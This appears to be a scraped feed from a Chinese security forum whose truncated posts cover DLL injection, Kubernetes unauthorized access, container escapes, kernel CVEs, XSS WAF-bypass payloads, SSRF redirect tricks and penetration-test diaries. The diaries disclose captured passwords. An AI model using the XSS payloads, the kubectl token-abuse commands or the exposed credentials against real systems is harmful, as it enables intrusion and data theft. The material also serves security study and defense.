当前节点:huoxian
时间节点
2022年3月24日 16:36火线zone
深入理解反射式dll注入技术
一、前言
dll注入技术是让某个进程主动加载指定的dll的技术。恶意软件为了提高隐蔽性,通常会使用dll注入技术将自身的恶意代码以dll的形式注入高可信进程。
常规的dll注入技术使用LoadLibraryA()函数来使被注入进程加载指定的dll。常规dll注入的方式一个致命的缺陷是需要恶意的dll以文件的形式存储在受害者主机上。这样使得常规dll注入技术在受害者主机上留下痕迹较大,很容易被edr等安全产品检测到。为了弥补这个缺陷,stephen fewer提出了反射式dll注入技术并在github开源,反射式dll注入技术的优势在于可以使得恶意的dll通过socket等方式直接传输到目标进程内存并加载,期间无任何文件落地,安全产品的检测难度大大增加。
本文将从dll注入技术简介、msf migrate模块剖析、检测思路和攻防对抗的思考等方向展开说明反射式dll注入技术。
二、dll注入技术简介
2.1 常规dll注入技术
常规dll注入有:
通过调用CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread()函数在被注入进程创建线程进行dll注入。
通过调用QueueUserAPC()/SetThreadContext()函数来劫持被注入进程已存在的线程加载dll。
通过调用SetWindowsHookEx()函数来设置拦截事件,在发生对应的事件时,被注入进程执行拦截事件函数加载dll。
以使用CreateRemoteThread()函数进行dll注入的方式为例,实现思路如下:
获取被注入进程PID。
在注入进程的访问令牌中开启SE_DEBUG_NAME权限。
使用openOpenProcess()函数获取被注入进程句柄。
使用VirtualAllocEx()函数在被注入进程内开辟缓冲区并使用WriteProcessMemory()函数写入DLL路径的字符串。
使用GetProcAddress()函数在当前进程加载的kernel32.dll找到LoadLibraryA函数的地址。
通过CreateRemoteThread()函数来调用LoadLibraryA()函数,在被注入进程新启动一个线程,使得被注入进程进程加载恶意的DLL。
常规dll注入示意图如上图所示。该图直接从步骤3)开始,步骤1)和步骤2)不在赘述。
2.2 
2022年3月24日 16:06火线zone
除了容器逃逸问题,未授权问题是目前k8s存在最多的问题,以下是常见的k8s未授权:
kube-apiserver:
6443,8080
未授权访问获取kube-system的token,通过kubectl使用kube-system的token获取pod列表。之后可进一步创建pod或控制已有pod进行命令执行等操作。
kubelet:
10250,10255
kubeletctl批量获取pod等信息,尝试获取pod内/var/run/secrets/kubernetes.io/serviceaccoun/的token
etcd:
2379
导出全量etcd配置,获取k8s认证证书等关键信息,进而通过kubectl创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机
dashboard:
30000以上
docker:
2375
Docker daemon默认监听2375端口且未鉴权,我们可以利用API来完成Docker客户端能做的所有事情。
1. kube-apiserver 未授权访问
apiserver有两个端口,8080和6443。现在的云服务商提供的容器默认已不存在8080端口,主要问题还是在6443端口上。
正常访问6443端口,会出现以下情况,我们默认访问的角色就是系统给的anonymous。
当把system:anonymous用户绑定到cluster-admin的集群角色时,再来访问。即可看到能访问的内容:
访问https://192.168.41.22:6443/api/v1/namespaces/kube-system/secrets/ 获取kube-system命名空间的token信息:
系统自带的服务账号没啥操作权限,需要寻找运维人员自建的。总之,有admin就找admin,没有的话找个非系统自带账号或者尝试default账号。
拿到了token后,可以在攻击机上安装kubectl工具,然后执行以下命令创建一个test_config,token处填入获取的 token:
touch test_config kubectl --kubeconfig=./test_config config set-credentials hacker --token=TOKEN kubectl --kubeconfig=./test_config config set-cluster hacked_clus
2022年3月24日 11:36火线zone
云安全容器安全扫盲 之 CDK工具介绍与使用
https://mp.weixin.qq.com/s/nTJXphK_xVjfj52cy48JpQ
“消息驱动、事件驱动、流 ”基础概念解析
https://mp.weixin.qq.com/s/FbvREzkLrMK5xeVn7BzMsA
OpenShift 沙盒容器 1.2 的新功能
https://cloud.redhat.com/blog/whats-new-in-openshift-sandboxed-containers-1.2
翻译 | Kubernetes 将改变数据库的管理方式
https://mp.weixin.qq.com/s/tDYkTr-sdsQaapqfj3SVzA
Weaveworks 为 K8s 的 GitOps 带来策略即代码功能
https://containerjournal.com/features/weaveworks-brings-policy-as-code-to-gitops-for-k8s/
云中遗留问题:AWS 非托管资源
https://dzone.com/articles/top-aws-unmanaged-resources-that-you-should-know-about
去哪儿网业务大规模容器化最佳实践
https://mp.weixin.qq.com/s/YeC7wWN7iCn_QVT6A2PeiQ
SCA和云原生应用程序安全
https://www.oxeye.io/blog/sca-software-composition-analysis-cloud-native
2022年3月23日 12:33火线zone
利用 Kasten K10 保护 KSV 云原生虚拟化平台
https://mp.weixin.qq.com/s/uwzGHxvmIwlU-phJtKIODA
微软云计算源代码疑遭大规模泄露
https://mp.weixin.qq.com/s/2U6kxWrVt2OCVxxYgUXjLg
即学即会 Serverless | 初识 Serverless
https://mp.weixin.qq.com/s/4HijmNvhQAXyEHSBlMHyVw
CVE-2021-4034:Linux Polkit本地权限提升漏洞
https://mp.weixin.qq.com/s/eltuiP8C5w0B9nXKWj0Igw
云计算带来的 6 大数据网络安全挑战
https://hackernoon.com/6-data-cybersecurity-challenges-with-cloud-computing
将 Kubernetes 中的风险和威胁映射到 MITRE ATT&CK 框架
https://blog.aquasec.com/mitre-attack-framework-for-containers
DeTT&CT : Mapping detection to MITRE ATT&CK(译文)
https://tttang.com/archive/1485/
AWS 安全性——处理暴露的访问密钥
https://medium.com/ideas2it-technologies/aws-security-dealing-with-exposed-access-keys-8802d975e3a1
2022年3月23日 11:33火线zone
url参数传入spel都命令执行了还无告警,还是要自己补充规则 😅
2022年3月22日 16:32火线zone
前言
前几天注意到了 istio 官方公告,有一个利用 kubernetes gateway api 仅有 CREATE 权限来完成特权提升的漏洞(CVE-2022-21701),看公告、diff patch 也没看出什么名堂来,跟着自己感觉猜测了一下利用方法,实际跟下来发现涉及到了 sidecar 注入原理及 depolyments 传递注解的特性,个人觉得还是比较有趣的所以记录一下,不过有个插曲,复现后发现这条利用链可以在已经修复的版本上利用,于是和 istio security 团队进行了“友好”的沟通,最终发现小丑竟是我自己,自己yy的利用只是官方文档一笔带过的一个 feature。
所以通篇权当一个 controller 的攻击面,还有一些好玩的特性科普文看好了
istio sidecar injection
istio 可以通过用 namespace 打 label 的方法,自动给对应的 namespace 中运行的 pod 注入 sidecar 容器,而另一种方法则是在 pod 的 annotations 中手动的增加 sidecar.istio.io/inject: "true" 注解,当然还可以借助 istioctl kube-inject 对 yaml 手动进行注入,前两个功能都要归功于 kubernetes 动态准入控制的设计,它允许用户在不同的阶段对提交上来的资源进行修改和审查。
动态准入控制流程:
istiod 创建了 MutatingWebhook,并且一般对 namespace label 为 istio-injection: enabled 及 sidecar.istio.io/inject != flase 的 pod 资源创建请求做 Mutaing webhook.
apiVersion: admissionregistration.k8s.io/v1 kind: MutatingWebhookConfiguration metadata: name: istio-sidecar-injector webhooks: [...] namespaceSelector: matchExpressions: - key: istio-injection operator: In values: - enabled objectSelector: matchExpressions: -
2022年3月22日 12:32火线zone
介绍一个小工具:Security Profiles Operator
https://mp.weixin.qq.com/s/_K09Ikswivsd1taRnjE9hw
cve-2022-0811
https://github.com/spiarh/webhook-cve-2022-0811
Git 入门—DevOps 路线图
https://medium.com/@buraktahtacioglu/get-started-with-git-devops-roadmap-bae301e3a10f
RedHat容器实践
https://cloud.redhat.com/blog/red-hat-container-community-of-practice-operators
Kubernetes 入口-Contour
https://trstringer.com/kubernetes-ingress-with-contour/
Teaclave:通用安全计算平台
https://github.com/apache/incubator-teaclave
2022年3月22日 12:32火线zone
一、前言
1、CRI-O
当容器运行时(Container Runtime)的标准被提出以后,Red Hat 的一些人开始想他们可以构建一个更简单的运行时,而且这个运行时仅仅为 Kubernetes 所用。这样就有了 skunkworks项目,最后定名为 CRI-O, 它实现了一个最小的 CRI 接口。在 2017 Kubecon Austin 的一个演讲中, Walsh 解释说, ”CRI-O 被设计为比其他的方案都要小,遵从 Unix 只做一件事并把它做好的设计哲学,实现组件重用“。
根据 Red Hat 的 CRI-O 开发者 Mrunal Patel 在研究里面说的, 最开始 Red Hat 在 2016 年底为它的 OpenShift 平台启动了这个项目,同时项目也得到了 Intel 和 SUSE 的支持。CRI-O 与 CRI 规范兼容,并且与 OCI 和 Docker 镜像的格式也兼容。它也支持校验镜像的 GPG 签名。 它使用容器网络接口 Container Network Interface(CNI)处理网络,以便任何兼容 CNI 的网络插件可与该项目一起使用,OpenShift 也用它来做软件定义存储层。 它支持多个 CoW 文件系统,比如常见的 overlay,aufs,也支持不太常见的 Btrfs。
CRI-O 允许你直接从 Kubernetes 运行容器,而不需要任何不必要的代码或工具。只要容器符合 OCI 标准,CRI-O 就可以运行它,去除外来的工具,并让容器做其擅长的事情:加速你的新一代原生云程序。
2、CRI-O的原理与架构
CRI-O 最出名的特点是它支持“受信容器”和“非受信容器”的混合工作负载。比如,CRI-O 可以使用 Clear Containers 做强隔离,这样在多租户配置或者运行非信任代码时很有用。这个功能如何集成进 Kubernetes现在还不太清楚,Kubernetes 现在认为所有的后端都是一样的。
当 Kubernetes 需要运行容器时,它会与 CRI-O 进行通信,CRI-O 守护程序与 runc(或另一个符合 OCI 标准的运行时)一起启动容器。当 Kubernetes 需要停止容器时,CRI-O 会来处理,它只是在幕后管理 Linux 容器,以便用户不需要担心这个关键的容器编排。
CRI-O 有一个有趣的架构(见下图),它重用了很多基础组件,下面我
2022年3月22日 10:31火线zone
0x00 前言
本周发布了 Linux 内核中的新 CVE。CVE-2022-0847,又名“脏管道”,是一个漏洞,允许 Linux 系统上的用户覆盖他们可以读取但不应写入的文件内容。从使用 Docker 等容器化软件的主机的角度来看这个漏洞,可以从主机上的容器镜像、从容器内部修改文件——这通常是不可能的。
这可能使攻击者能够有效地修改针对共享映像运行的容器,或者毒害主机上的映像,以便新容器接收修改后的文件。
为缓解此问题,受影响的系统(运行 Linux 内核 5.8 或更高版本的系统)应立即进行修复。
0x01 漏洞细节
披露该漏洞的页面具有详细信息和丰富的背景,因此我们将在这里从容器的角度关注其影响。
现代容器化的一个重要部分是使用覆盖文件系统,其中使用共享的只读映像来创建正在运行的容器。当容器内的用户从底层图像修改文件时,应将原始文件复制到特定于该容器的新位置,并在那里应用修改。原始文件应保持不变。
使用 Max Kellermann 在他的博客中提供的漏洞利用,我们可以尝试修改底层系统上的文件,看看会发生什么。
运行 Docker 20.10.10 的 Ubuntu 21.04 系统,目前本地没有下载容器镜像
首先,我们基于ubuntu:21.04镜像启动一个容器,它将从Docker Hub拉取镜像的新副本。该漏洞应该适用于任何图像,但这是一个干净的基础。
然后,我们将复制我们的漏洞利用代码——只是原始漏洞披露博客中代码的编译版本——并尝试从底层图像修改文件。作为演示,我们将使用 /etc/shells。
最初,我们可以看到我们的文件包含预期的内容:
然后,我们运行我们的漏洞利用程序,尝试在文件顶部添加一个字符串“Hello World”。我们可以看到它更改了该容器中的文件,但这是意料之中的,因为我们是该容器中的 root 用户。
现在我们回到主机并基于相同的图像启动一个新容器。新容器应该不有修改过的文件:
我们可以清楚地看到我们修改过的文件,所以漏洞利用工作正常。
此漏洞利用也可能影响现有容器。例如,如果您的主机具有 10 个使用共享映像的 nginx 容器,并且攻击者将nginx.conf文件修改为一个,它也会立即更改其他文件中的文件,只要它们仍在使用该文件。
此漏洞的另一种情况是卷从主机安装为只读,因为攻击者可以使用此漏洞来覆盖该限制。
0x02 漏洞影响与修复
这个问题的严重程度取决于您的环境架构
2022年3月22日 10:01火线zone
0x01 前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
0x02 会话传递
通过文件上传拿到shell哥斯拉上线msf

图 2-1 哥斯拉
上线后将msf的shell传递给cs

图 2-2 MSF会话传递

图 2-3 CS上线
0x03 内网渗透
提权进行密码抓取

图 3-1 密码抓取
Administrator/ris.jmjt123
抓取到密码后可上frp进行内网穿透。进行登录。

图 3-2 192.168.1.120服务器
翻文件登录数据库获取mssql数据库权限

图 3-3 mssql数据库
通过查看浏览器保存的账号密码以及未删掉的缓存获取云渠商应用系统权限
浏览器保存密码:admin./admin123

图 3-4 系统后台

图 3-5 后台数据
0x04 结束语
由于是云主机渗透到此结束了,感谢各位师傅观看!!!
2022年3月22日 10:01火线zone
0x01前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
0x02 内网渗透
利用shiro rce拿到shell上线CS

通过信息收集发现对方有火绒这里做了免杀上线CS

接着进行密码抓取
由于是Windows Server 2019抓取不到明文密码这里的话抓取到了ntlm值直接进行解密

获取密码后进行登录

成功拿到机器权限
接着在拿到的这台机器上进行信息收集和翻文件,成功拿到一个系统权限
admin/admin123

数据库

0x03 溯源追踪
发现入侵痕迹
接着在翻文件夹时发现还有qaxnb这个文件夹让我心生佩服啊还是qaxnb,懂的都懂啊

接着在翻文件时又发现对方留的frp以及后门


查看frp配置文件时获取到对方vps服务器的ip经过ip138查询为阿里云的一台vps

实话实说这哥们真特么牛
0x04 横向移动
获取大量FTP权限
FTP篇
192.168.179.0/24网段

192.168.180.0/24网段
总共获取97台机的ftp权限

192.168.181.0/24网段
获取62台机FTP权限

0x04 结束语
在此衷心说一句各位大佬测试内网时一定要将内网测试的代理以及各种工具删干净,以免后患啊!!!
2022年3月22日 03:23火线zone
最近的CVE-2022-0185还是挺有意思的,在谷歌kctf(基于 K8s 的 CTF)中被发现。这个洞是在Linux内核的文件系统上下文中功能中的legacy_parse_param函数验证长度的代码处有缺陷,导致了一个基于堆的缓冲区溢出(整数下溢)。攻击影响为越界写入/拒绝服务/权限提升和特定场景下的容器逃逸(k8s)。
其中会涉及到一些容器安全的基础小知识,有必要简单学习一下这个洞。
0x01 前置知识
1.Capabilities机制
这个机制在容器逃逸中很常见,
suid和capabilities
capabilities机制是一种在Linux权限控制机制中的一种,这里权限控制是指对root的权限进行划分控制。
首先要知道suid(Set owner User ID)对于权限的控制,suid的含义是允许一个文件的owner在执行这个文件的时候,以root的权限执行,不需要密码。比如普通用户改密码使用的passwd命令(euid会设置为这个程序的所有者,root的话euid会设置为0)。而suid是有安全隐患的,简单来说就是有的情况下suid设置后去运行一个命令时,只是需要一小部分特权但是suid却给了root的全部权限,常见渗透中的的suid提权就是因为一个程序的所有者是root或者高权用户,并且有suid权限,才会可以被利用来提权。
suid控制权限太粗糙,所以引入的capabilities机制(Linux内核2.2后引入),和suid直接以root高权来运行程序不同的是,capabilities机制将root权限进行细分,可以对细分后的“子权限”来进行启用或者禁用。比如进行实际操作的时候,euid不为root的话,便会检查是否具有该特权操作所对应的capabilities,来决定是否可以执行特权操作。
常见特权操作对应的capabilities如下:

更多capabilites 列表详细见:http://man7.org/linux/man-pages/man7/capabilities.7.html
Capabilities集合分类
Capabilities的类型可以分为线程/进程的Capabilities和文件的Capabilities两种,并且capabilities在进程与文件中的集合分类稍有区别。分别集合的含义都简单的标注了一下,了解即可:
文件中的Capabilities有三个集合:
2022年3月21日 18:23火线zone
前言
事情是这样的,毕业季学弟学妹儿们都在递简历,积分不够用还得充值,正好碰见支付逻辑的漏洞,为什么不薅羊毛呢?这里只做技术交流,恶意利用该漏洞所造成的损害跟本人无关。
内容
只是给了一个目标名称,直接找官网就ok了,发现这个页面能注册,并且还是php开发的,那么直接注册搞一波
看到网站后台的功能虽然比较复杂,但是感觉可操作的地方太少了,能够测试的地方有三个
上传
越权测试
支付逻辑测试
事实上,上传的位置有三个,但都是头像的位置,后端的代码都一致
经过walawa一波测试,发现并不可利用,心里一波mn
越权测试的话感觉没有shell的渗透是没有灵魂的,两个普通用户去测试越权真的没啥意思,,,,然后还是放弃了,但是发现了一点这个网站的用户身份认证比较有意思
用户的cookie认证有多个字段,但是某些字段的认证并没有什么用,,,这里为接下来的工作奠定了一小部分
心里开始嘀咕了,这渗透一个站连个shell都没,什么东西也没有,还要不要干渗透了,回去摆“小摊儿”撩学妹儿吧,,,,
看到功能模块儿了,不行,,,干他一票,搞不好来一波"意外收获"
上来就是干钱钱钱,,,开始支付,,,
主要字段就是这么些了,起码可以断定,支付的金额就是price字段,那么就操作这个数字能不能行?
不出意外的返回200了?这网站搞笑呢,此时我觉得开发小朋友是不是逗我?
确实在逗我,price字段竟然没有用,能够确定的是什么,可以确定这几个参数所指定的值的内容,首先第一个字段必定指定积分,第二个字段暂时看不懂含义,第三个字段就是付款金额,修改第三个字段并没有任何意义,此时联想到我们曾经遇到过的支付逻辑漏洞,上来一把梭,毕竟没有源码,成不成看运气。可以确定了修改首个字段没有用,那么第二个字段又是啥意思?修改一下
确实是少了,少了一毛钱,修改字段为22少了一毛,但是price字段的值也还是没有生效,那么猜测一下,自然就是因为在后台计算金额的时候,只是利用了
price_int*intergraild
的结果作为金额值,那么这个值又代表什么含义,这次我直接修改为30,订单金额如下
同样返回信息没毛病,但是查看订单之后发现金额并未进行结算
那么猜测后端代码应该是这样的一个逻辑,在下订单的时候支付的逻辑就是不判定price的价格,事实上修改该位置的参数也是没有任何作用的上面已经做过尝试了,然后抓了一下九八折的包
这里发现字段integralid的值修改为
2022年3月21日 15:23火线zone
前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。
一、漏洞简述
本次研究漏洞为 CVE-2021-4034,该漏洞是由于pkexec 无法正确处理调用参数,从而将环境变量作为命令执行,具有任意用户权限的攻击者都可以在默认配置下通过修改环境变量来利用此漏洞,从而获得受影响主机的root 权限。
polkit介绍
polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令
polkit 提供了一个授权 API,供特权程序(“ MECHANISMS ” )使用,通常通过某种形式的进程间通信机制为非特权程序( “ SUBJECTS ”)提供服务。在这种情况下,该机制通常将主体视为不受信任。对于来自主体的每个请求,该机制需要确定该请求是否被授权,或者它是否应该拒绝为主体提供服务。使用 polkit API,一种机制可以将此决定转交给受信任的一方:polkit 权威。
polkit 权限被实现为系统守护进程 polkitd (8),它本身没有什么特权,因为它以 polkitd系统用户身份运行。机制、主体和认证代理使用系统消息总线与授权机构进行通信。
除了作为授权之外,polkit 还允许用户通过验证管理用户或客户端所属会话的所有者来获得临时授权。这对于机制需要验证系统的操作员确实是用户还是管理用户的场景很有用
plokit基本组成
polkit— 授权管理器
polkitd— polkit 系统守护进程
pkcheck— 检查一个进程是否被授权
pkaction— 获取有关已注册操作的详细信息
pkexec— 以另一个用户身份执行命令
pkttyagent— 文本认证助手
二、漏洞检测
Linux下受漏洞影响Polkit版本范围为 2009年5月至今发布的所有 Polkit 版本。
在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等
多个Linux发行版上预装有Polkit,即所有存在Polkit的Linux系统均受影响。
但部分版本不受影响:
CentOS:
CentOS 6:polkit-0.96-11.el6_10.
2022年3月21日 14:53火线zone
01#原创文章激励计划
根据【火线Zone社区运营规则 v0.2】相关要求规定,为鼓励所有社区用户进行原创文章的分享,实行#原创文章激励#计划。
要求:具备原创性,内容具备深度和可读性,点赞数>10
点赞 >10 的原创文章,均可参与周度计划评选,按照文章Rank值来计算排名,前5名获得对应奖励。
Rank = 评论数 X 3 + 点赞数 X 2 + 阅读量 X 1
第一名:500元现金+500查克拉
第二名:400元现金+400查克拉
第三名:300元现金+300查克拉
第四名:200元现金+200查克拉
第五名:100元现金+100查克拉
五名之后:100查克拉
上周符合激励计划的文章有:
第一名:500元现金+500查克拉
标题:CVE-2022-0847_DirtyPipe Linux 内核提权漏洞分析及复现
链接:https://zone.huoxian.cn/d/978
作者:0x6270
第二名:400元现金+400查克拉
标题:巧用对象存储回源绕过SSRF限制
链接:https://zone.huoxian.cn/d/988
作者:KEVIL
第三名:300元现金+300查克拉
标题:安服仔日记系列——某登录页面到内网权限
链接:https://zone.huoxian.cn/d/981
作者:岁壳安全
第四名:200元现金+200查克拉
标题:容器逃逸方法检测指北(附检测脚本)
链接:https://zone.huoxian.cn/d/990
作者:TeamsSix
第五名:100元现金+100查克拉
标题:Docker Build 时的安全问题
链接:https://zone.huoxian.cn/d/980
作者:leveryd
02#首发云安全原创文章激励计划
根据【火线Zone社区运营规则 v0.2】相关要求规定,为鼓励所有社区用户进行云安全相关原创文章的分享,实行#首发云安全原创文章激励计划#。
奖励具体规则如下:
首次发云安全相关主题帖,点赞数>10,在参与周奖励的情况下,可额外获得“100查克拉”的奖励
上周符合激励计划的文章有:
云安全:100查克拉
标题:容器逃逸方法检测指北(附检测脚本)
链接:https://zone.huoxian.cn/d/990
作者:TeamsSix
云安全:100查克拉
标题:Docker Build 时的安全问题
链接:https://zone.
2022年3月21日 11:23火线zone
利用 Kasten 保护云原生虚拟化平台 KSV
https://mp.weixin.qq.com/s/2HxPmNjeYy41hIxL2170IA
测试 AWS S3 存储桶的读/写/删除访问
https://github.com/0xmoot/s3sec
Docker又爆出高危逃逸漏洞了?仔细研究下事情没那么简单
https://mp.weixin.qq.com/s/7KptLnqd7tBLaFKHu-RVuw
Linux Cgroups漏洞可实现容器逃逸
https://mp.weixin.qq.com/s/smb8tuSossWqX7SEwp__aQ
使用dirtypipe进行容器逃逸
https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2022/03/19/container-escape-through-dirtypipe
将 AWS 服务与 OpenShift 上的应用程序集成
https://cloud.redhat.com/blog/attention-developers-you-can-now-easily-integrate-aws-services-with-your-applications-on-openshift
ThreatMapper(云原生漏扫工具)演示
https://github.com/deepfence/ThreatMapper/wiki/ThreatMapper-Demo
如何安全使用 JWT
https://dzone.com/articles/how-to-use-jwt-securely
2022年3月20日 23:23火线zone
![](https://)## <div align="center">XSS绕过多种姿势(Waf)</div>
简要概述
什么是xss攻击
XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
那么,实战中应如何测试XSS漏洞是否存在呢?
一般测试方法:
1.常见的留言框、输入框插入任意语句
2.利用开发者模式F12搜索插入语句,如果可控,可能存在xss漏洞
3.判断是否存在代码过滤、waf或http-only,根据实际情况构造相应的payload,利用标签/伪协议闭合进行绕过,成功插入xss语句
XSS分类
反射型XSS(GET/POST 的url参数中构造) 存储型XSS (存储于数据库,危害性最大) DOM型XSS (存在于javascript代码中)
XSS防御措施
输入做过滤,输出做转义
下面,主要分享一些常用的绕过技巧
一、特殊符号:
1.过滤圆括号()
使用``进行特换 <script>alert`1`</script> 使用实体化%26lpar;%26rpar;代替 "/><math/href=javascript%26colon;alert%26lpar;1%26rpar;>1</math> 使用十六进制进行替换(1) <img src=111 onerror=javascript:alert&#x28;1&#x29> 可以使用十进制进行替换 <a href="javascript:alert&#40/1/&#41">a</a> 可以使用throw绕过 <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
2.过滤反引号``
进行base64编码 <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object> 可以使用井号#(但是这个payload只能在IE10以下才能触发,会有一个类似日期的弹窗) <img language=vbs src=<b one
2022年3月19日 12:22火线zone
0x00 Introduce
Tool introduction
Kunyu (kunyu), whose name is taken from <Knuyu Wanguo Quantu>, is actually a professional subject related to geographic information, which counts the geographic information of the sea, land, and sky. The same applies to cyberspace. The same is true for discovering unknown and fragile assets. It is more like a cyberspace map, which is used to comprehensively describe and display cyberspace assets, various elements of cyberspace and the relationship between elements, as well as cyberspace and real space. The mapping relationship. So I think "Kun Yu" still fits this concept.
Kunyu aims to make corporate asset collection more efficient and enable more security-related practitioners to understand and use cyberspace surveying and mapping technology.
Application scenario
For the use of kunyu, there can be many application scenarios, such as:
Forgotten and isolated assets in the enterprise are identified and added to security management.
Perform quick investigation and statistics on e
2022年3月18日 18:37火线zone
如何用听起来很长、实践起来很难的DevSecOps,帮大家很happy地把安全软件构建出来。

我叫小马哥,目前是在极狐GitLab做DevOps技术布道师,把我的经验分享给大家。

今天分享的内容分为三部分:
安全的一些比较奇怪的现象。
DevSecOps怎么就这么火爆了。
基于经验给大家构建了一个DevSecOps体系,基于Kubernetes做一个纵深防御。

安全非常重要,为啥重要?
第一个一定是钱,安全其实和钱挂钩的。
比如说如果发现安全漏洞了,如果你的企业被攻击了,你的信息泄露了,那最后一定是有经济损失。一些安全的调查报告,里面有些数据,大概是说一些公司,他们因为安全漏洞带来的经济损失,基本都在百万人民币以上。所以说涉及到钱,这个事情就很大了,毕竟企业是以盈利为目的。
第二个就是安全问题会影响公司声誉。
02年底,一家公司有安全供应链的漏洞,被攻击者在产品里面加了个漏洞,但是他们没有发现,影响了很多用户,后来用户对他们就有concern,大家对这个甲方就有疑惑,靠不靠谱。所以安全非常重要,涉及到钱和声誉,公司不就是奔着这个目的来的,如果这两个都没有的话,那企业就没有存在的价值。
第三个安全的体系真的非常难管理,安全主体很难界定。
我们传统意义上,大家觉得安全一定是安全人员的事情。其实这个传统意义上讲没有问题,但是发展到现在敏捷化项目开发的话,其实已经不是了。很多报告里面也会提出来,大家会讨论,觉得安全主体到底是安全人员应该还是开发人员。50%的人都不知道安全主体是谁,因为安全主体决定不下来,责任划分不下去,就很难管理。
第四个难衡量,ROI不清晰,这个也和钱相关。
对于研发或者测试来讲,工作量可以去衡量,比如你是做网络安全的,你管整个team的安全,有些东西是做了,但是呈现不出来,领导有时候觉得要你干啥,ROI不清晰。投入产出不是很清晰,而且安全是一个很长期的事情。
这就导致安全人员升职很慢,老大总觉得你没干活。在安全领域,能把ROI清楚地表达出来比较难。还有一个统一的点是,安全内容很碎片。用户密码属于安全,配置管理也属于安全,容器镜像也属于安全,还有现在开源软件的使用率其实非常高,开源使用的安全合规也属于安全,数据安全,内容很碎片化,很难把它统一起来。
安全非常难,很重要
但安全也很容易被忽视掉
第一就是急于求成
互联网时代,追求业务快速上线,因为越快上线,就意味能去快速的抢占市场,抢占市场就意味着
2022年3月18日 16:07火线zone
0x00 前言
最近发现有关容器逃逸的文章大多覆盖的方法不全,而且有些缺少相应的检测方法,导致 RT 在拿到一个容器权限时,比较难以判断这个容器存在哪些逃逸方法。
本文尽可能覆盖全容器逃逸检测的方法,并尽可能的给出在容器内部就能检测的方法,这样 RT 在容器内运行一下命令,根据返回的结果就能判断有没有这个漏洞了。
针对这些检测方法,我这边也写了相应的脚本,方便在容器内部一键检测,脚本放到文章底部了。
对于一些无法直接在容器内部检测到的逃逸方法,这里是不列举的,如果读者知道其他逃逸漏洞的检测方法,欢迎留言或者给脚本提 PR
判断是否为容器环境
首先对于 RT 而言,需要先判断当前环境是不是容器环境,可以直接使用下面的命令去判断
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
如果返回 Is Docker,说明当前是 Docker 容器环境,反之亦然。
容器逃逸介绍
在开始之前对于容器逃逸主要有以下三种方法:
不安全的配置
相关程序漏洞
内核漏洞
这里分别列举一下每种逃逸的检测方法,这样在拿到一个容器权限的时候,本文可以起到一个手册的作用。
RT 可以通过本文中所提到的检测方法,判断出当前容器可能存在哪种逃逸漏洞,从而采取对应的逃逸方法。
注意:
以下检测方法大多是基于笔者自己的经验,可能会存在误检或者漏检的情况,如果读者发现,欢迎留言或者给脚本提 Issue
由于「相关程序漏洞」这种逃逸方法需要根据目标 Docker 的版本去判断,这里暂时没想到从容器内部获取 Docker 版本的方法,因此脚本暂时还不支持这块的检测。
0x01 不安全的配置
1、特权模式
执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
如果返回 Not privileged mode 则说明当前不是特权模式
2、挂载 Docker Socket
执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket
ls /var/run/
2022年3月18日 13:07火线zone
Spring Cloud 中间件在 Kubernetes 上的最佳实践
https://mp.weixin.qq.com/s/rymvjoWh_EJkZ7itn11ZOQ
Kubernetes存储架构原理深度剖析(下)
https://mp.weixin.qq.com/s/FFt_Y1Kt6tNtNGe50QpQUQ
云安全攻防矩阵
https://cloudsec.tencent.com/#/home
深入浅出 eBPF-Ubuntu 21.10 安装调试符号
https://www.ebpf.top/post/ubuntu-21-10-dbgsym/
AWS 上的 Istio 集成项目 Calicox详解
https://telegra.ph/Istio-Integration-Project-Calico-on-AWSAWS-Roadmap---Stories-by-Burak-Tahtac%C4%B1o%C4%9Flu-on-Medium-03-17
CI/CD 安全风险 TOP 10
https://github.com/cider-security-research/top-10-cicd-security-risks
利用call_usermodehelper进行Docker逃逸
https://pwning.systems/posts/escaping-containers-for-fun/
2022年3月17日 18:33火线zone
0x01 前言
笔者之前在 https://zone.huoxian.cn/d/541 介绍了SSRF某些场景下的利用和绕过方法,有时开发对于SSRF的限制可能是简单的禁用内网地址来实现的,这时如果传入一个外网地址,将其重定向至内网地址,则可以绕过限制对内网服务器发出请求。
302跳转bypass常见的方法有:
自建服务器,当收到目标服务器的请求后添加一个Location响应头重定向至内网服务器,Tips中有提到过:https://zone.huoxian.cn/d/392
线上平台生成短链接:

上面两种方式都有其弊端,前者需要直接搭建服务器环境,成本较高,后者在线平台生成的短链接一般都有时间限制,在研究对象存储时,笔者发现利用对象存储的静态网站托管及回源规则进行重定向也是一种可行的办法。
0x02 静态网站托管及回源配置
静态网站托管功能允许用户将静态网站托管到OSS的存储空间(Bucket),并使用Bucket的访问域名访问这个网站。Bucket配置静态网站托管后,当客户端向OSS请求的数据不存在时,可通过设置回源规则确保其仍然可以获取正确的数据。在控制台进行图形化配置过程:
创建一个存储桶
开通公有读权限:
进入Bucket列表,在左侧导航栏,选择基础设置 > 静态页面。进行如下配置:
在左侧导航栏,选择基础设置 > 镜像回源。
创建如下回源规则,回源地址即需要重定向的内网地址(如果显示固定地址不能为空,可抓包修改或者输入空格即可创建成功)
